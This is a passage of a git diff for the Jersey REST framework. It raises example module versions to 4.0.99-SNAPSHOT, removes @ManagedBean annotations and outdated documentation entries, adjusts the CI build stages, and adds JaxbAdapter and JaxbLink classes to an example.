-                Jersey 3.1 supports <literal>@ApplicationPath</literal> annotation by every container, not only the
-                <literal>Servlet</literal> container. This can affect tests, as well as deployments to containers
-                where the annotation used to be ignored by previous versions of Jersey.
-            </para>
-        </section>
-        <section xml:id="mig-3.1.4-jetty-modules">
-            <title>Jetty Modules</title>
-            <itemizedlist>
-                <listitem>
-                    <para>
-                        Jersey 3.0.x, and 3.1.0 - 3.1.3 Jetty modules (jersey-jetty-connector, jersey-container-jetty-http,
-                        jersey-container-jetty-servlet, jersey-test-framework-provider-jetty) are based on Jetty 11,
-                        which is Jakarta EE 9 related.
-                    </para>
-                </listitem>
-                <listitem>
-                    <para>
-                        Jersey 3.1.4 modules use Jetty 12 which is Jakarta EE 10 related (as well as Jersey 3.1.x).
-                        Jetty 12 dependencies use modules names different from Jetty 11.
-                    </para>
-                </listitem>
-            </itemizedlist>
-        </section>
-        <section xml:id="mig-3.1.4">
-            <title>Migrating from Jersey 3.1.3 to 3.1.4</title>
-            <section xml:id="mig-3.1.4-jackson-changes">
-                <title>Changes in Jackson</title>
-                <para>
-                    Jersey 3.1.4 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text,
-                    numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum
-                    length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed.
-                </para>
-            </section>
-        </section>
-    </section>
 
 </chapter>
diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml
index 8ce80ef..93dcc25 100644
--- a/docs/src/main/docbook/modules.xml
+++ b/docs/src/main/docbook/modules.xml
@@ -149,14 +149,6 @@
 </row>
 <row>
 <entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-simple-http/dependencies.html">
-    jersey-container-simple-http
-</link>
-</entry>
-<entry>Simple Http Container</entry>
-</row>
-<row>
-<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/project/jersey-gf-ejb/dependencies.html">
     jersey-gf-ejb
 </link>
@@ -187,14 +179,6 @@
 </row>
 <row>
 <entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-apache-connector/dependencies.html">
-    jersey-apache-connector
-</link>
-</entry>
-<entry>Jersey Client Transport via Apache</entry>
-</row>
-<row>
-<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-grizzly-connector/dependencies.html">
     jersey-grizzly-connector
 </link>
@@ -223,15 +207,7 @@
     jersey-jetty-connector
 </link>
 </entry>
-<entry>Jersey Client Transport via Jetty (for JDK 17+)</entry>
-</row>
-<row>
-<entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty11-connector/dependencies.html">
-    jersey-jetty11-connector
-</link>
-</entry>
-<entry>Jersey Client Transport via Jetty 11.x</entry>
+<entry>Jersey Client Transport via Jetty</entry>
 </row>
             <!-- TODO - HTTP/2 support for Jetty 12 container -->
 <row>
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
index 276cc17..dc56f74 100644
--- a/etc/jenkins/Jenkinsfile_ci_build
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -10,21 +10,20 @@
     stages {
         stage('Jersey build') {
             parallel {
-                stage('JDK 11') {
-                    agent {
-                        label 'centos-7'
-                    }
-                    tools {
-                        jdk 'openjdk-jdk11-latest'
-                        maven 'apache-maven-latest'
-                    }
-                    steps {
-                        sh '''
-                                bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
-                                bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
-                            '''
-                    }
-                }
+//                stage('JDK 17') {
+//                    agent {
+//                        label 'centos-7'
+//                    }
+//                    tools {
+//                        jdk 'openjdk-jdk17-latest'
+//                        maven 'apache-maven-latest'
+//                    }
+//                    steps {
+//                        sh '''
+//                                bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+//                            '''
+//                    }
+//                }
                 stage('JDK 21') {
                     agent {
                         label 'centos-7'
@@ -36,7 +35,6 @@
                     steps {
                         sh '''
                                 bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
-                                export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector '
                                 bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
                             '''
                     }
diff --git a/etc/scripts/apidocs.sh b/etc/scripts/apidocs.sh
index 12b2364..097dfc6 100755
--- a/etc/scripts/apidocs.sh
+++ b/etc/scripts/apidocs.sh
@@ -1,3 +1,3 @@
 #!/bin/bash
 
-mvn -U -V -B clean install -Ppre-release -pl :apidocs -am -DskipTests
\ No newline at end of file
+mvn -U -V -B clean install -Ppre-release -Pstaging -pl :apidocs -am -DskipTests
\ No newline at end of file
diff --git a/etc/scripts/checkstyle.sh b/etc/scripts/checkstyle.sh
index ad36942..4afc1a9 100755
--- a/etc/scripts/checkstyle.sh
+++ b/etc/scripts/checkstyle.sh
@@ -1,3 +1,3 @@
 #!/bin/bash
 
-mvn -V -U -B  checkstyle:checkstyle-aggregate -Dcheckstyle.output.format="plain" -Dcheckstyle.output.file=checkstyle.log
\ No newline at end of file
+mvn -V -U -B  -Pstaging checkstyle:checkstyle-aggregate -Dcheckstyle.output.format="plain" -Dcheckstyle.output.file=checkstyle.log
\ No newline at end of file
diff --git a/etc/scripts/validation/pom.template.xml b/etc/scripts/validation/pom.template.xml
index 1e58300..08a65ea 100644
--- a/etc/scripts/validation/pom.template.xml
+++ b/etc/scripts/validation/pom.template.xml
@@ -36,6 +36,6 @@
     </dependencies>
 
     <properties>
-        <jersey.version>3.0.99-SNAPSHOT</jersey.version>
+        <jersey.version>4.0.99-SNAPSHOT</jersey.version>
     </properties>
 </project>
\ No newline at end of file
diff --git a/examples/NOTICE.md b/examples/NOTICE.md
index ed616c2..334e13d 100644
--- a/examples/NOTICE.md
+++ b/examples/NOTICE.md
@@ -37,9 +37,9 @@
 * Project: http://aopalliance.sourceforge.net
 * Copyright: Material in the public domain is not protected by copyright
 
-Bean Validation API 3.0.2
+Bean Validation API 3.1.0
 * License: Apache License, 2.0
-* Project: http://beanvalidation.org/3.0/
+* Project: https://beanvalidation.org/3.0/
 * Copyright: 2009, 2020 Red Hat, Inc. and/or its affiliates, and individual contributors
 * by the @authors tag.
 
diff --git a/examples/assemblies/pom.xml b/examples/assemblies/pom.xml
index defda8f..5892e6e 100644
--- a/examples/assemblies/pom.xml
+++ b/examples/assemblies/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>assemblies</artifactId>
diff --git a/examples/bookmark-em/pom.xml b/examples/bookmark-em/pom.xml
index 853e732..0d46234 100644
--- a/examples/bookmark-em/pom.xml
+++ b/examples/bookmark-em/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookmark-em</artifactId>
diff --git a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java
index 8d31bc2..834180b 100644
--- a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java
+++ b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -13,7 +13,6 @@
 import java.io.Serializable;
 import java.util.Date;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.persistence.Column;
 import jakarta.persistence.EmbeddedId;
 import jakarta.persistence.Entity;
@@ -42,7 +41,6 @@
         @NamedQuery(name = "BookmarkEntity.findByLdesc", query = "SELECT b FROM BookmarkEntity b WHERE b.ldesc = :ldesc"),
         @NamedQuery(name = "BookmarkEntity.findBySdesc", query = "SELECT b FROM BookmarkEntity b WHERE b.sdesc = :sdesc")
 })
-@ManagedBean
 @SuppressWarnings("UnusedDeclaration")
 public class BookmarkEntity implements Serializable {
 
diff --git a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java
index 464b75e..f2a5899 100644
--- a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java
+++ b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -21,7 +21,6 @@
 import jakarta.ws.rs.core.UriBuilder;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.Resource;
 import jakarta.persistence.EntityManager;
 import jakarta.persistence.PersistenceContext;
@@ -35,7 +34,6 @@
  * @author Jakub Podlesak
  */
 @Path("/users/")
-@ManagedBean
 public class UsersResource {
 
     // injected EntityManager property
diff --git a/examples/bookmark/pom.xml b/examples/bookmark/pom.xml
index 173c3d3..e0d7ff6 100644
--- a/examples/bookmark/pom.xml
+++ b/examples/bookmark/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookmark</artifactId>
diff --git a/examples/bookstore-webapp/pom.xml b/examples/bookstore-webapp/pom.xml
index 220a6f9..2f37669 100644
--- a/examples/bookstore-webapp/pom.xml
+++ b/examples/bookstore-webapp/pom.xml
@@ -35,7 +35,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookstore-webapp</artifactId>
diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml
index f84bd16..a1bc696 100644
--- a/examples/cdi-webapp/pom.xml
+++ b/examples/cdi-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-webapp</artifactId>
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java
index 4abe81b..e990bf5 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,6 @@
 import jakarta.ws.rs.Produces;
 import jakarta.ws.rs.core.MediaType;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 
 import jakarta.inject.Inject;
@@ -28,7 +27,6 @@
  *
  * @author Roberto Chinnici
  */
-@ManagedBean
 @Path("echoparamconstructor/{a}")
 public class EchoParamConstructorResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java
index a2b8c40..2febeee 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,6 @@
 import jakarta.ws.rs.PathParam;
 import jakarta.ws.rs.QueryParam;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 
 /**
@@ -25,7 +24,6 @@
  * @author Roberto Chinnici
  * @author Jakub Podlesak
  */
-@ManagedBean
 @Path("echofield/{b}")
 public class EchoParamFieldResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java
index cd5b9eb..97904ed 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -15,14 +15,11 @@
 import jakarta.ws.rs.Path;
 import jakarta.ws.rs.PathParam;
 
-import jakarta.annotation.ManagedBean;
-
 /**
  * A managed bean that uses (but does not inject) a path parameter.
  *
  * @author Roberto Chinnici
  */
-@ManagedBean
 @Path("echo/{a}")
 public class EchoParamResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java
index 698ce9d..85ab758 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -14,14 +14,11 @@
 import jakarta.ws.rs.Produces;
 import jakarta.ws.rs.Path;
 
-import jakarta.annotation.ManagedBean;
-
 /**
  * A managed bean with no use of injection whatsoever.
  *
  * @author Roberto Chinnici.
  */
-@ManagedBean
 @Path("/helloworld")
 public class HelloWorldResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java
index 9b5569f..b2277f9 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,8 +18,6 @@
 import jakarta.ws.rs.core.Request;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
-
 import jakarta.enterprise.context.RequestScoped;
 
 import jakarta.interceptor.AroundInvoke;
@@ -32,7 +30,6 @@
  * @author Roberto Chinnici
  * @author Jakub Podlesak
  */
-@ManagedBean
 @RequestScoped
 @Path("/other/{c}/{d}")
 public class MyOtherResource {
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java
index 256b718..f81331e 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -20,7 +20,6 @@
 import jakarta.ws.rs.core.Request;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.Resource;
 import jakarta.enterprise.context.ApplicationScoped;
 
@@ -30,7 +29,6 @@
  * @author Roberto Chinnici
  * @author Jakub Podlesak
  */
-@ManagedBean
 @ApplicationScoped
 @Path("/singleton")
 public class MySingletonResource {
diff --git a/examples/clipboard-programmatic/pom.xml b/examples/clipboard-programmatic/pom.xml
index 5dcaddb..ea73103 100644
--- a/examples/clipboard-programmatic/pom.xml
+++ b/examples/clipboard-programmatic/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>clipboard-programmatic</artifactId>
diff --git a/examples/clipboard/pom.xml b/examples/clipboard/pom.xml
index 67ced27..06985ae 100644
--- a/examples/clipboard/pom.xml
+++ b/examples/clipboard/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>clipboard</artifactId>
diff --git a/examples/configured-client/pom.xml b/examples/configured-client/pom.xml
index 443a713..fbf4e45 100644
--- a/examples/configured-client/pom.xml
+++ b/examples/configured-client/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>configured-client</artifactId>
@@ -138,14 +138,5 @@
                 </plugins>
             </build>
         </profile>
-        <profile>
-            <id>jdk11-</id>
-            <activation>
-                <jdk>(,12)</jdk>
-            </activation>
-            <properties>
-                <helidon.config.version>${helidon.config.11.version}</helidon.config.version>
-            </properties>
-        </profile>
     </profiles>
 </project>
diff --git a/examples/declarative-linking/pom.xml b/examples/declarative-linking/pom.xml
index ded117e..650f9ac 100644
--- a/examples/declarative-linking/pom.xml
+++ b/examples/declarative-linking/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>declarative-linking</artifactId>
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java
index bfaeaa1..7e8997b 100644
--- a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -70,7 +70,7 @@
             bindings = @Binding(name = "id", value = "${instance.id}"),
             rel = "self"
     )
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     @XmlElement(name = "link")
     Link self;
 
@@ -91,7 +91,7 @@
             )})
     @XmlElement(name = "link")
     @XmlElementWrapper(name = "links")
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     List<Link> links;
 
     public ItemRepresentation() {
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java
index 4d702a2..aecc983 100644
--- a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -82,7 +82,7 @@
             },
             rel = "self"
     )
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     @XmlElement(name = "link")
     Link self;
 
@@ -111,7 +111,7 @@
             )})
     @XmlElement(name = "link")
     @XmlElementWrapper(name = "links")
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     List<Link> links;
 
     public ItemsRepresentation() {
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbAdapter.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbAdapter.java
new file mode 100644
index 0000000..b6385dd
--- /dev/null
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbAdapter.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.linking.representation;
+
+import jakarta.ws.rs.core.Link;
+import jakarta.xml.bind.annotation.adapters.XmlAdapter;
+
+import javax.xml.namespace.QName;
+import java.util.Map;
+
+/**
+ * An implementation of JAXB {@link XmlAdapter} that maps the JAX-RS
+ * {@link Link} type to a value that can be marshalled and unmarshalled by JAXB. The following example
+ * shows how to use this adapter on a JAXB bean class:
+ *
+ * <pre>
+ * &#64;XmlRootElement
+ * public class MyModel {
+ *
+ *   private Link link;
+ *
+ *   &#64;XmlElement(name="link")
+ *   &#64;XmlJavaTypeAdapter(JaxbAdapter.class)
+ *   public Link getLink() {
+ *     return link;
+ *   }
+ *   ...
+ * }
+ * </pre>
+ *
+ * <p>
+ *     Note that usage of this class requires the Jakarta XML Binding API and an implementation. The Jakarta RESTful Web
+ *     Services implementation is not required to provide these dependencies.
+ * </p>
+ * <p>
+ *     The class used to be a part Jakarta REST 3.1
+ * </p>
+ *
+ * @see JaxbLink
+ * @since 4.0
+ */
+public class JaxbAdapter extends XmlAdapter<JaxbLink, Link> {
+
+    /**
+     * Convert a {@link JaxbLink} into a {@link Link}.
+     *
+     * @param v instance of type {@link JaxbLink}.
+     * @return mapped instance of type {@link JaxbLink}
+     */
+    @Override
+    public Link unmarshal(final JaxbLink v) {
+        Link.Builder lb = Link.fromUri(v.getUri());
+        for (Map.Entry<QName, Object> e : v.getParams().entrySet()) {
+            lb.param(e.getKey().getLocalPart(), e.getValue().toString());
+        }
+        return lb.build();
+    }
+
+    /**
+     * Convert a {@link Link} into a {@link JaxbLink}.
+     *
+     * @param v instance of type {@link Link}.
+     * @return mapped instance of type {@link JaxbLink}.
+     */
+    @Override
+    public JaxbLink marshal(final Link v) {
+        JaxbLink jl = new JaxbLink(v.getUri());
+        for (Map.Entry<String, String> e : v.getParams().entrySet()) {
+            final String name = e.getKey();
+            jl.getParams().put(new QName("", name), e.getValue());
+        }
+        return jl;
+    }
+}
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbLink.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbLink.java
new file mode 100644
index 0000000..7653ffc
--- /dev/null
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbLink.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.examples.linking.representation;
+
+import jakarta.xml.bind.annotation.XmlAnyAttribute;
+import jakarta.xml.bind.annotation.XmlAttribute;
+
+import javax.xml.namespace.QName;
+import java.net.URI;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Objects;
+
+/**
+ * <p>
+ *     Value type for {@link jakarta.ws.rs.core.Link} that can be marshalled and
+ *     unmarshalled by JAXB.
+ * </p>
+ * <p>
+ *     Note that usage of this class requires the Jakarta XML Binding API and an implementation. The Jakarta RESTful Web
+ *     Services implementation is not required to provide these dependencies.
+ * </p>
+ * <p>
+ *     The class used to be a part Jakarta REST API 3.1.
+ * </p>
+ *
+ * @see JaxbAdapter
+ * @since 4.0
+ */
+public class JaxbLink {
+
+    private URI uri;
+    private Map<QName, Object> params;
+
+    /**
+     * Default constructor needed during unmarshalling.
+     */
+    public JaxbLink() {
+    }
+
+    /**
+     * Construct an instance from a URI and no parameters.
+     *
+     * @param uri underlying URI.
+     */
+    public JaxbLink(final URI uri) {
+        this.uri = uri;
+    }
+
+    /**
+     * Construct an instance from a URI and some parameters.
+     *
+     * @param uri underlying URI.
+     * @param params parameters of this link.
+     */
+    public JaxbLink(final URI uri, final Map<QName, Object> params) {
+        this.uri = uri;
+        this.params = params;
+    }
+
+    /**
+     * Get the underlying URI for this link.
+     *
+     * @return underlying URI.
+     */
+    @XmlAttribute(name = "href")
+    public URI getUri() {
+        return uri;
+    }
+
+    /**
+     * Get the parameter map for this link.
+     *
+     * @return parameter map.
+     */
+    @XmlAnyAttribute
+    public Map<QName, Object> getParams() {
+        if (params == null) {
+            params = new HashMap<QName, Object>();
+        }
+        return params;
+    }
+
+    /**
+     * Set the underlying URI for this link.
+     *
+     * This setter is needed for JAXB unmarshalling.
+     */
+    void setUri(final URI uri) {
+        this.uri = uri;
+    }
+
+    /**
+     * Set the parameter map for this link.
+     *
+     * This setter is needed for JAXB unmarshalling.
+     */
+    void setParams(final Map<QName, Object> params) {
+        this.params = params;
+    }
+
+    @Override
+    public boolean equals(final Object o) {
+        if (this == o) {
+            return true;
+        }
+        if (!(o instanceof JaxbLink)) {
+            return false;
+        }
+
+        JaxbLink jaxbLink = (JaxbLink) o;
+
+        if (uri != null ? !uri.equals(jaxbLink.uri) : jaxbLink.uri != null) {
+            return false;
+        }
+
+        if (params == jaxbLink.params) {
+            return true;
+        }
+        if (params == null) {
+            // if this.params is 'null', consider other.params equal to empty
+            return jaxbLink.params.isEmpty();
+        }
+        if (jaxbLink.params == null) {
+            // if other.params is 'null', consider this.params equal to empty
+            return params.isEmpty();
+        }
+
+        return params.equals(jaxbLink.params);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(uri, params);
+    }
+
+}
diff --git a/examples/entity-filtering-security/pom.xml b/examples/entity-filtering-security/pom.xml
index e6740b2..bd39e19 100644
--- a/examples/entity-filtering-security/pom.xml
+++ b/examples/entity-filtering-security/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering-security</artifactId>
